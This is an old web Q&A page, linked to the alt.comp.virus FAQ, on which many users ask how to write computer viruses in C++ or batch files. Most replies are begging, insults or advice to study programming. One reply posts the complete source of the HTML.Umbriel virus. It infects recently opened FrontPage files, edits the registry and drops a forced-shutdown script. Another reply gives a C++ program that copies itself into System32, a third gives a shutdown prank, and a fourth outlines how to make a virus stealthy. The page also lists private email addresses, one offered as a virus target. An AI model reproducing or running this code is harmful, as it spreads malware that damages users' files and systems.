[ Home  |  FAQ-Related Q&As  |  General Q&As  |  Answered Questions ]


    Search the Q&A Archives


...create virus using c++? create virus using...

<< Back to: [alt.comp.virus] FAQ Part 1/4

Question by kaushik
Submitted on 2/13/2004
Related FAQ: [alt.comp.virus] FAQ Part 1/4
Rating: Rate this question: Vote
how to create virus using c++?
how to create virus using ms-dos batch file?



Answer by pat
Submitted on 2/22/2004
Rating:  Rate this answer: Vote
I want to became a hacker

 

Answer by rosey
Submitted on 3/5/2004
Rating:  Rate this answer: Vote
Yeah I am new to programming... I know some C++, java 2, html, I want to learn how to create virus's .....I don't want to become a evil virus writer this is for experimentation and just to further my knowledge in programming...

 

Answer by Master
Submitted on 3/12/2004
Rating:  Rate this answer: Vote
I want play a joke

 

Answer by butth0le
Submitted on 3/12/2004
Rating:  Rate this answer: Vote
type into browser .hack//infection.
ENJOY

 

Answer by Asrul
Submitted on 3/27/2004
Rating:  Rate this answer: Vote
MY computer had broken BIOS.it had been attack by virus

 

Answer by Jaz
Submitted on 3/30/2004
Rating:  Rate this answer: Vote
-------------------------------------------[HTML.Ubriel for WindowsXP]-------------------------------------------
<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
  shell.Run javascript:location.reload()
End If

Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)

Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()

shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"

Randomize
rand=int(rnd*5)+1
If rand=1 then
  shell.Run windir+"\windows.cmd"
End If
</script>

<script language="JavaScript">
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
  if (checkb!=1)
  {
    if (Math.round(Math.random()*5)+1 == 3)
    {
      if (check == 2)
      {
        file.WriteLine("/"+"*")
        file.WriteLine("*"+"/")
      }
      if (check == 3)
      {
        file.WriteLine("rem")
      }
    }
    code=virus.ReadLine()
    if (code == "/"+"*") { checka=666 }
    if (code == "*"+"/") { checka=666 }
    if (code == "rem") { checka=666 }
    if (checka != 666 ) { file.WriteLine(code) }
    checka=0
    if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
    if (code=="// JS") { check=2 }
    if (code=="rem VBS") { check=3 }
    if (code=="</"+unescape("%73")+"cript>") { check=0 }
  }
}
virus.Close();
file.Close();
</script>

<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)

Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
  viccode=victim.ReadAll
  victim.Close()
  set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
  wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
  wrtevic.Close
End If

End Sub
</script>
</body>
</html>

 

Answer by Cheese_meister
Submitted on 3/30/2004
Rating:  Rate this answer: Vote
try using perl its better

 

Answer by virushacker
Submitted on 4/8/2004
Rating:  Rate this answer: Vote
I want to kill all virus.

 

Answer by hacker123_nepal
Submitted on 4/14/2004
Rating:  Rate this answer: Vote
I want to create as well as destory viruses.

 

Answer by PCMS
Submitted on 4/30/2004
Rating:  Rate this answer: Vote
DO YOU KNOW A WEBSITE WHERE THEY ARE TELLING YOU HOW TO WRITE VIRUS IN C++?

 

Answer by fleto
Submitted on 4/30/2004
Rating:  Rate this answer: Vote
ok if you want to write viruses...be a hacker...whatever. Just go to a book store. Buy a c++ book (with compiler). read it. to create good viruses you must know a bunch (i suggest as much as u can) about c++...or whatever language your programing in. Then once you learn the language you can go off and hack the world!!

 

Answer by NT-6
Submitted on 5/1/2004
Rating:  Rate this answer: Vote
I really whant to know how to create virus, can anyone help me or tell me web addres where i can learn it....

 

Answer by nittudv
Submitted on 5/3/2004
Rating:  Rate this answer: Vote
What these people do after creating virus

 

Answer by PCMS_PL
Submitted on 5/4/2004
Rating:  Rate this answer: Vote
YOU ASKED WHAT PEOPLE DO AFTER CREATING VIRUS. WELL... I GUESS THEY'RE SENDING IT TO THE WEB, AND ATTACKING OTHER COMPUTERS, BUT OF COURSE I CAN BE WRONG.

 

Answer by orbitouz
Submitted on 5/7/2004
Rating:  Rate this answer: Vote
I don`t know what other gonna do with their viruses... i just wanna to become a good programmer and make a big cash with my skillz    :DDD
but allthought if i could create  viruses i`d only create for a good purpose examlbe to send them to a f-secure or norton and help them creating more powerfull antivir progs...
i mayby stupid but i`d still do it...

 

Answer by erald
Submitted on 5/9/2004
Rating:  Rate this answer: Vote
I want to create a great virus to destroy all computers i want

 

Answer by jack
Submitted on 5/9/2004
Rating:  Rate this answer: Vote
my e-mail is nektariostempelis@yahoo.gr. can anybody send me some instructions because i want to create a very destructive virus

 

Answer by Bigplayerz
Submitted on 5/9/2004
Rating:  Rate this answer: Vote
Do you like computer virus i do but it is fun because when you are sending a virus you think that you are very good in the computer system and also the boss

 

Answer by Deadly_Virus
Submitted on 5/9/2004
Rating:  Rate this answer: Vote
i would like to know how to make a virus that disables the computer for 30 hr.....lol

 

Answer by micky
Submitted on 5/12/2004
Rating:  Rate this answer: Vote
I want to create virus, if some want can CRT new virus please send to me ,

 

Answer by WinZter
Submitted on 5/13/2004
Rating:  Rate this answer: Vote
Okay if you really want to create a virus you should read at least one book about for example C or C++. (I use the C compiler type)

If you read it and do all the tasks in it you should*nt need to visit this site anymore. Now stand up and be a man (or woman) and don^t beg others to tell you how you can do it.

 

Answer by tanay
Submitted on 5/13/2004
Rating:  Rate this answer: Vote
I LIKE TO CREAT A VIRUS WITH C++
     SO I NEED SOME LANGAUAGE ABOUT IT
     CAN ANY ONE HELP ME
          MAIL ME
           hi9358@yahoo.com

 

Answer by toqilula@hotmail.com
Submitted on 5/15/2004
Rating:  Rate this answer: Vote
HI all, I would like to know if anybody knows any script in JavaScript, to change a Registry Key without asking for user to accept... thanx in advance, please e-mail if answer to toqilula@hotmail.com

 

Answer by guitarfreak961
Submitted on 5/15/2004
Rating:  Rate this answer: Vote
go here http://www.angelfire.com/super2/funnypics0/lol.html

 

Answer by aboveaveragejo
Submitted on 5/17/2004
Rating:  Rate this answer: Vote
I'm doing a school project on viruses... any good resources would be appreciated.

 

Answer by monkeyboy
Submitted on 5/17/2004
Rating:  Rate this answer: Vote
send any info on creating virus to neopo@juno.com

 

Answer by AznVirusMarker
Submitted on 5/18/2004
Rating:  Rate this answer: Vote
Hey!! Can Any-One tell me whats the most destructive virus out there ...??? cause i want to learn how 2 make it

 

Answer by Ali
Submitted on 5/19/2004
Rating:  Rate this answer: Vote
who can send me a source of virus in c++ programming language ?plase send it to this mail: casper_heavens@Yahoo.com
with the best wishes for you dear.

 

Answer by Anonymuz
Submitted on 5/20/2004
Rating:  Rate this answer: Vote
Idiots! Begging for people to give you virus codes (as some of you are doing) is PATHETIK! Most likely they will send YOU a virus. If you REALLY wanna learn, buy a book on programming/C/C++ and learn! Lazy Prats.

 

Answer by Jeff2469
Submitted on 5/20/2004
Rating:  Rate this answer: Vote
Hackers and virus makers (infectors) like me spend ALOT of time writing these tiring, complicated programing code...do you think after maybe weeks of programming we are going to:
1. Tell you n00bs how to
and
2. Give up our precious code?

Learn it for yourselves.

 

Answer by sam
Submitted on 5/27/2004
Rating:  Rate this answer: Vote
lol well sed mate

 

Answer by ahhcac
Submitted on 5/28/2004
Rating:  Rate this answer: Vote
funny thing is when i hacker attacks another hacker and he doesnt even know he that person is and what he can do

 

Answer by Evilnoise
Submitted on 5/28/2004
Rating:  Rate this answer: Vote
This is better than watching funny series on tv.

 

Answer by silent love
Submitted on 5/29/2004
Rating:  Rate this answer: Vote
I want to learn how to write a virus in c++ language



my e-mail is
silent_love_silent_love@hotmail.com

 

Answer by quadra
Submitted on 6/2/2004
Rating:  Rate this answer: Vote
i want to learn writinig virus scripts in c or c++ ( 'cas some how i have considerable skills in these lang'sonly). will suggest or send any programs or websites (which give scripts) ,so that i will analyse how to do that .  i tired on searching on search engines for web sites .
      pls send ur info to  my  mail id:
   quadra262@yahoo.co.in

 

Answer by viruswriter
Submitted on 6/3/2004
Rating:  Rate this answer: Vote
ask netsky (x)

 

Answer by burned
Submitted on 6/3/2004
Rating:  Rate this answer: Vote
If you would like to send a cheating lying prick a virus for practice send it to CMERBES@MSN.COM or his crazy new girlfriend who wont leave me alone at HHILLS312hotmail.com.

 

Answer by aranb dutta
Submitted on 6/5/2004
Rating:  Rate this answer: Vote
hello
i am arnab a boy from lower class famaily,but i am interesred to know how people create virus in c++.can any one help me .please send me mails on duttaarnab1@indiatimes.com

 

Answer by fukuall
Submitted on 6/5/2004
Rating:  Rate this answer: Vote
a c++ virus:

#include windows.h
#include string.h

char windir[MAX_PATH];

int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              int nCmdShow)
{

char pathname[256];
HKEY hKey;


GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


unsigned char reg[10] = "infected";

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

}

thare, ya happy ya frikin bums

 

Answer by Pred
Submitted on 6/7/2004
Rating:  Rate this answer: Vote
That is just a copy of a tutorial stupid, why don't u put some effort into making your own virus.

 

Answer by Ernest
Submitted on 6/7/2004
Rating:  Rate this answer: Vote
Want to create a virus?  The best option: -Buy a c++ programing book (or download  good tutorial from the web.  You should also get a compiler (such as the free devcpp available on the web).  Spend some time studding.  

If you put the effort you will find viruses easy and will see there are better things to do in programming.

 

Answer by ashish
Submitted on 6/10/2004
Rating:  Rate this answer: Vote
the source-code of virus using c++ you can find out by using books related to norton ie by reading
NORTON UTILITIES VERSION 4.0 BY RICHARD EVANS
still if you donot get the answer mail me at ashish_guptabca@yahoo.com

 

Answer by cyber destroyer
Submitted on 6/10/2004
Rating:  Rate this answer: Vote
i want to create warm using c++.

my email : cybervyas@yahoo.com

 

Answer by pracooooooool
Submitted on 6/11/2004
Rating:  Rate this answer: Vote
abe oh virus banana hai yo mere piche kyon pada hai jab ban jaye to mujhe de diyo
at pracool_man@yahoo.com samjha kya
mammu

 

Answer by boy
Submitted on 6/11/2004
Rating:  Rate this answer: Vote
haha you are all faggots. go create a virus. get caught by police. get your ass thrown in jail. get raped by the guys in there. hopefully youll catch their virus (aids) and we will have the last laugh at you hackers!!!!

 

Answer by sam
Submitted on 6/19/2004
Rating:  Rate this answer: Vote
i would like to create virus using c,c++ help me
mani03_visa2yahoo.co.in

 

Answer by ryan
Submitted on 6/23/2004
Rating:  Rate this answer: Vote
yes i like  making virus....
can someone teach me how to do it..
heres my email address
jrov2002@yahoo.com

 

Answer by DUUURRRR!!!
Submitted on 6/24/2004
Rating:  Rate this answer: Vote
please....SOMEONE teach these terrorists already....

 

Answer by a boy
Submitted on 6/25/2004
Rating:  Rate this answer: Vote
sure give all your guys email so that i can send you all a virus ....haha

 

Answer by virus-creater
Submitted on 6/27/2004
Rating:  Rate this answer: Vote
something that shutdown yr pc whenever u start windows (xp only)...
it's simple batch file (not really a virus)...
download it at http://web.singnet.com.sg/~jasonlzx/downloads/AOM II.exe

 

Answer by chaminda
Submitted on 6/28/2004
Rating:  Rate this answer: Vote
i want to create virus using c
send me those thing
chami_ran@coolgoose.com

 

Answer by zero cool
Submitted on 6/28/2004
Rating:  Rate this answer: Vote
cool anytime

 

Answer by abismt12
Submitted on 6/29/2004
Rating:  Rate this answer: Vote
Please could somebody tell me how to create a virus not to destroy but only to disrupt a computer from time to time.
I work for a company and a rival company slanders ours, overcharges underpays and treats his staff like crap. he drives a new merc and owns an overpriced removals company.
Somebody help me teach this git a lesson please.  From, somebody who works for a living.

 

Answer by JINFRICS
Submitted on 7/2/2004
Rating: Not yet rated Rate this answer: Vote
who is mother of nog

 

Answer by Pred
Submitted on 7/5/2004
Rating:  Rate this answer: Vote
Anyone know how to get your current directory that your program is in, and save that as a variable in your program?

Thanks

 

Answer by NooB
Submitted on 7/10/2004
Rating:  Rate this answer: Vote
who know how 2 create virus n worm

 

Answer by DOS
Submitted on 7/13/2004
Rating:  Rate this answer: Vote
Gay ass noobs.We got enough viruses already

 

Answer by 1010
Submitted on 7/14/2004
Rating:  Rate this answer: Vote
can someone help me with saving a file?, im having alot of trouble. Im running windows xp pro and i wanna save a .txt file. So i go into notepad and under file it says "save" im not sure if i should click on this because i dont want to get a virus, can someone help me ? I would also like to be a hacker, but i dont know how when im a hacker i will hack everybody

 

Answer by lock
Submitted on 7/15/2004
Rating:  Rate this answer: Vote
i would like to create virus using c,c++ help me
f@mail.rw

 

Answer by ronak
Submitted on 7/16/2004
Rating:  Rate this answer: Vote
i want to make a virus.

 

Answer by Blaster
Submitted on 7/16/2004
Rating:  Rate this answer: Vote
go buy some books on c++ programming

 

Answer by lee
Submitted on 7/18/2004
Rating:  Rate this answer: Vote
Hiya people i have the software C++ and i want to now where abouts you get the books on C++ from??

 

Answer by DC
Submitted on 7/18/2004
Rating:  Rate this answer: Vote
all of u ppl asking how to make a virus r twats. and n00bs. no rly, u r. get a frikin c++ book for f""ks sake

 

Answer by BB
Submitted on 8/6/2004
Rating: Not yet rated Rate this answer: Vote
THIS IS NOT A VIRUS, SIMPLY A BUGGER !!

_________________________

Open notepad

>

Write: shutdown -r -t 60 -c "MESSAGE HERE"

>

Save as: *.bat
File type: all

-----------------------

A window opens and tells the user that the computer is gonna reboot in 60 sec. (or what you configure it to)

To close the window and avoid reboot write:

shutdown /a

in run......
_________________________________

 

Answer by slayer
Submitted on 8/7/2004
Rating: Not yet rated Rate this answer: Vote
i want to tel me a site to create a virus and send them

 

Answer by Silver
Submitted on 8/9/2004
Rating: Not yet rated Rate this answer: Vote
Creating viruses in C/C++ and most programming languages is easy. But I personally prefer Assembly, cause there is where you need and get power.
Anyways, its just foolish to distribute your email addresses around so that ppl can give u source codes. The best way to do something is make it yourself.
Just you got to achieve the following goals. If you use C, just make different OOP structures, and if PERL, Packages.
Anyways, goals of a virus-
1)Cause harm/mischief
2)Making it invisible and divisible, and also, difficult to detect to roots
3)Mechanism for redistributing the password.
The main goal is really very simple to achieve, and if i were you, and i created a one time bomb, or a virus which spreads whenever someone boots, best put it in autoexec, but the first,so try to cover it up. For windows, best deal is putting somewhere in the registry.
The main part-> Disrupting computer and file scranbling and stuff, you can do with normal lib. functions. If your thing does hardware stuff directly, like open the CD drive and all, i would either bet upon getting new functions from somewhere, or directly communicatiing with the hardware.
Anyways, according to me, the most imp. thing of a virus, even more imp than its main cause is stealth. There are tonnes of methods, most just common sense, and sometimes programming (usually in Assembly).

 

Answer by <p><b>poop</b></p>
Submitted on 8/10/2004
Rating: Not yet rated Rate this answer: Vote
<p><b>poop</b></p>

 

Answer by tarun
Submitted on 8/13/2004
Rating: Not yet rated Rate this answer: Vote
hey guys,
   i am a software engineering student and i have studied c and c++ but i havent found anything related to viruses in these books.u have any reply?
my mail address is tarun_network@rediffmail.com

 

Answer by RAJ
Submitted on 8/15/2004
Rating: Not yet rated Rate this answer: Vote
hi my name is raj plz help me i want to creat virus in c++ i m a computer enggener

 

Answer by neamulhuq
Submitted on 8/21/2004
Rating: Not yet rated Rate this answer: Vote
I am a new programmer in c and c++. I want to know how virus can made and recover

 

Answer by mike
Submitted on 8/21/2004
Rating: Not yet rated Rate this answer: Vote
all of you should just give up. they are all right, just get a c++ book, maybe the Dummies book; it have devcpp for free, or download it. but no programmer is going to share his knowledge of C++ or C with you

 

Answer by gch5185
Submitted on 8/22/2004
Rating: Not yet rated Rate this answer: Vote
Hey i would like to create a virus, no matter what virus :D

mail me: gch5185@hotmail.com

 

Answer by akbar
Submitted on 8/25/2004
Rating: Not yet rated Rate this answer: Vote
i want to create new virus
anybody can send me virus for bios Corrupt
i am very gladfull to you


thankyou
everybody

 

Answer by ikkejw
Submitted on 8/25/2004
Rating: Not yet rated Rate this answer: Vote
To all you n00bo's here asking how to create viruses:
You probably will never be a good programmer. If you want to program (viruses or whatev) you should start doing so when you're 6 years old, like i did. If you just downloaded C++ from a warez site 'because you heard you can create viruses with it', you've got to put MUCH time in learning it and DON'T go asking how to create viruses, that's just letting other people create viruses (wich is very time consuming, believe me) and saying you made it.

 

Answer by sibaram mohapatra
Submitted on 8/26/2004
Rating: Not yet rated Rate this answer: